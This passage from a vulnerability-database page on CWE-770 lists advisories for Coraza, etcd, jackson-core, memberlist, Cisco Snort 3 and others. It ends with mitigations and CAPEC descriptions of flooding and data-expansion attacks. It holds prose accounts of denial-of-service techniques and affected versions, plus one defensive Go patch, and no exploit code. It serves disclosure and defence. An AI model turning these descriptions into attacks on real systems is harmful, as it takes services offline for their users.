same\n`readJSON`/`readItems` code path, so `RESPONSE_ARGS` is affected identically.\n\n### Fix\n\nMove the byte-budget check into the same `else` branch as the argument-limit\ncheck, computing `lenStr` first so its length is known before the check\n(mirroring the per-leaf write\u0027s own check three lines above it):\n\n```go\nif argumentLimit \u003e 0 \u0026\u0026 *argCount \u003e= argumentLimit {\n    iterationTruncated = true\n} else {\n    lenStr := strconv.Itoa(arrayLen)\n    if byteBudget \u003e 0 \u0026\u0026 *usedBytes+len(objKey)+len(lenStr) \u003e byteBudget {\n        iterationTruncated = true\n    } else {\n        k := string(objKey)\n        res[k] = append(res[k], lenStr)\n        *usedBytes += len(objKey) + len(lenStr)\n        *argCount++\n    }\n}\n```\n\nVerified: the PoC above now returns `truncated=true`, with total flattened\nbytes bounded by the byte budget (163,160 bytes measured, vs. 4,020,596\nbefore the fix).\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro\n  shape were supplied by the reporter as an existing written finding; Claude\n  Sonnet 5 independently re-derived the root cause by reading the current\n  source, wrote and ran a fresh PoC and heap measurement against commit\n  `19b86824`, confirmed the amplification and lack of truncation, verified\n  the fix closes the gap, and drafted this addendum.\n- **Review performed:** reproduced by hand by running the PoC above against\n  a clean checkout of commit `19b86824` before and after the fix, comparing\n  entry count, total flattened bytes, and the `truncated` flag; added and\n  ran `TestReadJSONArrayLengthWriteRespectsByteBudget`, confirmed it fails\n  against the pre-fix code (4,020,596 bytes, `truncated=false`) and passes\n  against the fix; ran the full test suite, the build-tag matrix\n  (`coraza.no_memoize`, `coraza.rule.multiphase_evaluation`,\n  `coraza.rule.no_regex_multiline`), and the `testing/coreruleset` CRS\n  regression suite, all green; reviewed by a human maintainer (fzipi) before\n  this addendum was submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-6r3q-mjv7-xr8m/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: array-length entries produced while flattening JSON bodies are now held to the flattening byte budget (previously they could amplify a small body into a large memory allocation), a body over that budget now sets `REQBODY_ERROR`, and array-length entries no longer count toward `SecArgumentsLimit`. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L` (7.2, High).\n\nAttack Complexity is Low: filler arguments alone trigger the drop, on any deployment, and since 3.8.0 the drop is deterministic. Availability is Low because this advisory also covers unbounded `ARGS_POST` growth from urlencoded bodies and, in 3.8.1, JSON flattening amplification, both of which consume memory per request. The previous vector scored Confidentiality Low and Availability None.\n\nImpact metrics follow the convention used across Coraza\u0027s WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project\u0027s triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._",
  "id": "GHSA-6r3q-mjv7-xr8m",
  "modified": "2026-10-06T20:38:03Z",
  "published": "2026-10-06T20:38:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-6r3q-mjv7-xr8m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/146c2f79f39ad16f13787e7d67ad400f8d8cb9a3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/814e1898e083d2ff2ceb644382d0da17e930f93f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/b98359bb7e7606c95100dcc7ad490d2d624e6dea"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corazawaf/coraza"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coraza: Silent argument drop at ArgumentLimit allows bypass of ARGS-targeted rules via parameter flooding"
}

GHSA-6R3R-6RPF-V429

Vulnerability from github – Published: 2026-07-08 18:31 – Updated: 2026-07-08 18:31
VLAI
Details

HashiCorp memberlist before version 0.6.0 is vulnerable to a denial-of-service issue in its push/pull state handling that may allow an attacker with network access to the gossip port to exhaust memory on a receiving node and cause the process to terminate. This vulnerability (CVE-2026-14362) is fixed in memberlist 0.6.0.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-14362"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-08T18:16:32Z",
    "severity": "MODERATE"
  },
  "details": "HashiCorp memberlist before version 0.6.0 is vulnerable to a denial-of-service issue in its push/pull state handling that may allow an attacker with network access to the gossip port to exhaust memory on a receiving node and cause the process to terminate. This vulnerability (CVE-2026-14362) is fixed in memberlist 0.6.0.",
  "id": "GHSA-6r3r-6rpf-v429",
  "modified": "2026-07-08T18:31:38Z",
  "published": "2026-07-08T18:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14362"
    },
    {
      "type": "WEB",
      "url": "https://discuss.hashicorp.com/t/hcsec-2026-18-memberlist-vulnerable-to-denial-of-service-via-gossip-message/77556"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RMH-MMFF-JMFJ

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34
VLAI
Details

A flaw was found in the spice-vdagentd daemon, where it did not properly handle client connections that can be established via the UNIX domain socket in /run/spice-vdagentd/spice-vdagent-sock. Any unprivileged local guest user could use this flaw to prevent legitimate agents from connecting to the spice-vdagentd daemon, resulting in a denial of service. The highest threat from this vulnerability is to system availability. This flaw affects spice-vdagent versions 0.20 and prior.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-25652"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-26T02:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the spice-vdagentd daemon, where it did not properly handle client connections that can be established via the UNIX domain socket in `/run/spice-vdagentd/spice-vdagent-sock`. Any unprivileged local guest user could use this flaw to prevent legitimate agents from connecting to the spice-vdagentd daemon, resulting in a denial of service. The highest threat from this vulnerability is to system availability. This flaw affects spice-vdagent versions 0.20 and prior.",
  "id": "GHSA-6rmh-mmff-jmfj",
  "modified": "2022-05-24T17:34:58Z",
  "published": "2022-05-24T17:34:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25652"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1886366"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GQT56LATVTB2DJOVVJOKQVMVUXYCT2VB"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OIWJ2EIQXWEA2VDBODEATHAT37X4CREP"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2020/11/04/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6V53-7C9G-W56R

Vulnerability from github – Published: 2026-03-04 21:23 – Updated: 2026-03-06 21:58
VLAI
Summary
jackson-core has Nesting Depth Constraint Bypass in `UTF8DataInputJsonParser` potentially allowing Resource Exhaustion
Details

Summary

The UTF8DataInputJsonParser, which is used when parsing from a java.io.DataInput source, bypasses the maxNestingDepth constraint (default: 500) defined in StreamReadConstraints.

A similar issue was found in ReaderBasedJsonParser.

This allows a user to supply a JSON document with excessive nesting, which can cause a StackOverflowError when the structure is processed, leading to a Denial of Service (DoS).

The related fix for com.fasterxml.jackson.core:jackson-core, CVE-2025-52999, was not fully applied to tools.jackson.core:jackson-core until the 3.1.0 release. It is recommended that 3.0.x users upgrade.

Patches

jackson-core contains a configurable limit for how deep Jackson will traverse in an input document. This check was missing in a few places in tools.jackson.core:jackson-core.

The change is in https://github.com/FasterXML/jackson-core/pull/1554. jackson-core will throw a StreamConstraintsException if the limit is reached.

jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs.

Workarounds

Users should avoid parsing input files from untrusted sources.

Resources

GHSA-6v53-7c9g-w56r https://nvd.nist.gov/vuln/detail/CVE-2025-52999 https://github.com/FasterXML/jackson-core/pull/1554

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T21:23:45Z",
    "nvd_published_at": "2026-03-06T08:16:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `UTF8DataInputJsonParser`, which is used when parsing from a `java.io.DataInput` source, bypasses the `maxNestingDepth` constraint (default: 500) defined in `StreamReadConstraints`.\n\nA similar issue was found in `ReaderBasedJsonParser`.\n\nThis allows a user to supply a JSON document with excessive nesting, which can cause a `StackOverflowError` when the structure is processed, leading to a Denial of Service (DoS).\n\nThe related fix for com.fasterxml.jackson.core:jackson-core, CVE-2025-52999, was not fully applied to tools.jackson.core:jackson-core until the 3.1.0 release. It is recommended that 3.0.x users upgrade.\n\n### Patches\njackson-core contains a configurable limit for how deep Jackson will traverse in an input document. This check was missing in a few places in tools.jackson.core:jackson-core. \n\nThe change is in https://github.com/FasterXML/jackson-core/pull/1554. jackson-core will throw a StreamConstraintsException if the limit is reached.\n\njackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs.\n\n### Workarounds\nUsers should avoid parsing input files from untrusted sources.\n\n### Resources\n[GHSA-6v53-7c9g-w56r](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-6v53-7c9g-w56r)\nhttps://nvd.nist.gov/vuln/detail/CVE-2025-52999\nhttps://github.com/FasterXML/jackson-core/pull/1554",
  "id": "GHSA-6v53-7c9g-w56r",
  "modified": "2026-03-06T21:58:00Z",
  "published": "2026-03-04T21:23:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-6v53-7c9g-w56r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-h46c-h94j-95f3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52999"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29062"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1554"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/8b25fd67f20583e75fb09564ce1eaab06cd5a902"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jackson-core has Nesting Depth Constraint Bypass in `UTF8DataInputJsonParser` potentially allowing Resource Exhaustion"
}

GHSA-6VCH-Q96H-7GC3

Vulnerability from github – Published: 2026-07-24 22:40 – Updated: 2026-08-12 21:22
VLAI
Summary
etcd: `tlsListener.acceptLoop` spawns unbounded handshake goroutines with no deadline
Details

Impact

What kind of vulnerability is it? Who is impacted?

A network attacker who can reach an etcd TLS listener can open many TCP connections and never send a ClientHello. Each connection spawns a goroutine in the etcd server process that blocks indefinitely inside tls.Conn.Handshake(), and each is tracked in the pending map. Unbounded goroutine and map growth exhausts memory in the etcd process, causing loss of availability for the etcd cluster (and, when etcd backs Kubernetes, the control plane).

Patches

Has the problem been patched? What versions should users upgrade to?

This vulnerability is patched in the following versions:

  • etcd 3.7.1
  • etcd 3.6.14
  • etcd 3.5.33

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

If upgrading is not immediately possible, then restrict network access. Limit which hosts can reach etcd's client (gRPC) port via firewall rules or network policy, reducing who can attempt exploitation.

Reporter

VMware By Broadcom

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.etcd.io/etcd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0-alpha.0"
            },
            {
              "fixed": "3.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.etcd.io/etcd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.6.0"
            },
            {
              "fixed": "3.6.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.etcd.io/etcd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.5.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73500"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T22:40:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA network attacker who can reach an etcd TLS listener can open many TCP connections and never send a ClientHello. Each connection spawns a goroutine in the etcd server process that blocks indefinitely inside tls.Conn.Handshake(), and each is tracked in the pending map. Unbounded goroutine and map growth exhausts memory in the etcd process, causing loss of availability for the etcd cluster (and, when etcd backs Kubernetes, the control plane).\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThis vulnerability is patched in the following versions:\n\n- etcd 3.7.1\n- etcd 3.6.14\n- etcd 3.5.33\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nIf upgrading is not immediately possible, then restrict network access. Limit which hosts can reach etcd\u0027s client (gRPC) port via firewall rules or network policy, reducing who can attempt exploitation.\n\n### Reporter\n\nVMware By Broadcom",
  "id": "GHSA-6vch-q96h-7gc3",
  "modified": "2026-08-12T21:22:30Z",
  "published": "2026-07-24T22:40:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/etcd-io/etcd/security/advisories/GHSA-6vch-q96h-7gc3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/etcd-io/etcd/pull/22130"
    },
    {
      "type": "WEB",
      "url": "https://github.com/etcd-io/etcd/commit/2e07efce9745004eb4773cffaada9b5cdf77cff2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/etcd-io/etcd/commit/f73cba7d920019f91a1ea1f6697833e42731f057"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/etcd-io/etcd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/etcd-io/etcd/releases/tag/v3.5.33"
    },
    {
      "type": "WEB",
      "url": "https://github.com/etcd-io/etcd/releases/tag/v3.6.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/etcd-io/etcd/releases/tag/v3.7.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "etcd: `tlsListener.acceptLoop` spawns unbounded handshake goroutines with no deadline"
}

GHSA-6VHG-VRW5-PM3F

Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2022-05-24 19:10
VLAI
Details

A Denial-of-Service (DoS) vulnerability was discovered in Team Server in HelpSystems Cobalt Strike 4.2 and 4.3. It allows remote attackers to crash the C2 server thread and block beacons' communication with it.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-36798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-09T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Denial-of-Service (DoS) vulnerability was discovered in Team Server in HelpSystems Cobalt Strike 4.2 and 4.3. It allows remote attackers to crash the C2 server thread and block beacons\u0027 communication with it.",
  "id": "GHSA-6vhg-vrw5-pm3f",
  "modified": "2022-05-24T19:10:26Z",
  "published": "2022-05-24T19:10:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36798"
    },
    {
      "type": "WEB",
      "url": "https://labs.sentinelone.com/hotcobalt-new-cobalt-strike-dos-vulnerability-that-lets-you-halt-operations"
    },
    {
      "type": "WEB",
      "url": "https://www.cobaltstrike.com/releasenotes.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6VJ6-45JF-FR3W

Vulnerability from github – Published: 2022-11-16 12:00 – Updated: 2022-11-22 15:30
VLAI
Details

A vulnerability in the interaction of SIP and Snort 3 for Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the Snort 3 detection engine to restart. This vulnerability is due to a lack of error-checking when SIP bidirectional flows are being inspected by Snort 3. An attacker could exploit this vulnerability by sending a stream of crafted SIP traffic through an interface on the targeted device. A successful exploit could allow the attacker to trigger a restart of the Snort 3 process, resulting in a denial of service (DoS) condition.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-20950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-754",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-15T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the interaction of SIP and Snort 3 for Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the Snort 3 detection engine to restart. This vulnerability is due to a lack of error-checking when SIP bidirectional flows are being inspected by Snort 3. An attacker could exploit this vulnerability by sending a stream of crafted SIP traffic through an interface on the targeted device. A successful exploit could allow the attacker to trigger a restart of the Snort 3 process, resulting in a denial of service (DoS) condition.",
  "id": "GHSA-6vj6-45jf-fr3w",
  "modified": "2022-11-22T15:30:26Z",
  "published": "2022-11-16T12:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20950"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftdsnort3sip-dos-A4cHeArC"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftdsnort3sip-dos-A4cHeArC"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6VM6-6W33-F874

Vulnerability from github – Published: 2026-09-21 12:32 – Updated: 2026-09-21 15:31
VLAI
Details

A small WS-Policy document using repeated policy references can force Neethi to re-expand the same references exponentially during normalization, consuming huge amounts of CPU and memory (denial of service). Users are recommended to upgrade to version 3.2.4, which fixes this issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-91865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-21T12:17:24Z",
    "severity": "HIGH"
  },
  "details": "A small WS-Policy document using repeated policy references can force Neethi to re-expand the same references exponentially during normalization, consuming huge amounts of CPU and memory (denial of service).\nUsers are recommended to upgrade to version 3.2.4, which fixes this issue.",
  "id": "GHSA-6vm6-6w33-f874",
  "modified": "2026-09-21T15:31:59Z",
  "published": "2026-09-21T12:32:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91865"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/l48btqh02rlpsgf5p6r5ltqk1cb69dtc"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/18/12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

